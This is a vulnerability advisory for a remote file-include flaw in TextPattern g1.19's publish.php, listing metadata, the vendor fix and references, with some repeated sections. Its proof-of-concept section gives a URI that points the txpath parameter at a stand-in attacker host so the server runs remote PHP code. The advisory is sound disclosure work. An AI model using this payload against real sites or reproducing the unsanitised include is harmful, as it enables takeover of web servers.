TextPattern Publish.PHP Remote File Include Vulnerability
BID:20769
Info
TextPattern Publish.PHP Remote File Include Vulnerability
| Bugtraq ID: | 20769 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 27 2006 12:00AM |
| Updated: | Oct 30 2006 09:13PM |
| Credit: | Bithedz is credited with the discovery of this vulnerability. |
| Vulnerable: |
TextPattern TextPattern g1.19 |
| Not Vulnerable: |
TextPattern TextPattern 4.0 |
Discussion
TextPattern Publish.PHP Remote File Include Vulnerability
TextPattern is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.
An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
TextPattern g1.19 and prior versions are vulnerable to this issue; other versions may also be affected.
TextPattern is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.
An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
TextPattern g1.19 and prior versions are vulnerable to this issue; other versions may also be affected.
Exploit / POC
TextPattern Publish.PHP Remote File Include Vulnerability
Attackers can exploit this issue via a web client.
The following proof-of-concept URI is available:
http://www.example.com/[textpattern_g119_path]/textpattern/publish.php?txpcfg[txpath]=http://attact/colok.txt?
Attackers can exploit this issue via a web client.
The following proof-of-concept URI is available:
http://www.example.com/[textpattern_g119_path]/textpattern/publish.php?txpcfg[txpath]=http://attact/colok.txt?
Solution / Fix
TextPattern Publish.PHP Remote File Include Vulnerability
Solution:
The vendor has addressed this issue in version 4.0 and later.
TextPattern TextPattern g1.19
Solution:
The vendor has addressed this issue in version 4.0 and later.
TextPattern TextPattern g1.19
-
TextPattern textpattern-4.0.4.tar.gz
http://textpattern.com/file_download/28/textpattern-4.0.4.tar.gz
References
TextPattern Publish.PHP Remote File Include Vulnerability
References:
References:
- Textpattern g1.19 security hole (TextPattern)
- TextPattern Web Site (TextPattern)
- TextPattern <=1.19 Remote File Inclusion Vulnerability ([email protected])